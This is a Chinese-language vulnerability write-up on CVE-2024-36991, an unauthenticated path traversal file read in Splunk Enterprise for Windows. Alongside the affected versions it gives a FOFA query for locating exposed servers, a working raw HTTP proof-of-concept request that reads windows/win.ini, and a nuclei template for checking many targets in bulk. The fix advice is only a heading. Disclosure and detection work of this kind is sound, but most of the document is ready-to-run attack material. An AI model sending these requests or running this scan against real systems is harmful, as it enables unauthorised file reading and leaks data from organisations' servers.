Splunk Enterprise 任意文件读取漏洞(CVE-2024-36991)

文章目录

- 前言
- 漏洞描述
- 影响版本
- 漏洞复现
- - POC
  - 批量检测-nuclei脚本
- 修复建议

前言

Splunk Enterprise 是一款强大的机器数据管理和分析平台，能够实时收集、索引、搜索、分析和可视化来自各种数据源的日志和数据，帮助企业提升运营效率、增强安全性和优化业务决策。

漏洞名称	Splunk Enterprise 任意文件读取漏洞
漏洞编号	CVE-2024-36991
公开时间	2024-07-01
威胁类型	信息泄漏

漏洞描述

在特定版本的 Windows 版 Splunk Enterprise 中，未经身份认证的攻击者可以在 /modules/messaging/ 接口通过目录穿越的方式读取任意文件，造成用户信息的泄露。

影响版本

9.2 <= Splunk Enterprise < 9.2.2
9.1 <= Splunk Enterprise < 9.1.5
9.0 <= Splunk Enterprise < 9.0.10

漏洞复现

FOFA语法：

app="splunk-Enterprise"

POC

GET /zh-CN/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../windows/win.ini HTTP/1.1
Host: x.x.x.x
Connection: keep-alive

在这里插入图片描述

批量检测-nuclei脚本

id: CVE-2024-36991

info:
  name: Splunk Enterprise for Windows 任意文件读取漏洞
  author: whgojp
  description:  Splunk Enterprise 是一款强大的数据分析软件，它允许用户从各种来源收集、索引和搜索机器生成的数据。2024年7月，官方发布安全通告，披露 CVE-2024-36991 Splunk Enterprise Windows平台 modules/messaging 目录遍历漏洞。漏洞仅影响 Windows平台上的 Splunk Enterprise，官方已发布安全更新，建议升级至最新版本。
  reference:
    - https://advisory.splunk.com/SVD-2024-0711
  tags: cve,cve2024,splunk-Enterpris

requests:
  - method: GET
    path:
      - "{{BaseURL}}/zh-CN/modules/messaging/{{Path}}"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "NetSetup.log"
        part: body
        condition: or
      - type: word
        words:
          - "Windows"
          - "debug"
        part: body
        condition: or

variables:
  Path:
    - "C:../C:../C:../C:../C:../C:../C:../C:../windows/win.ini"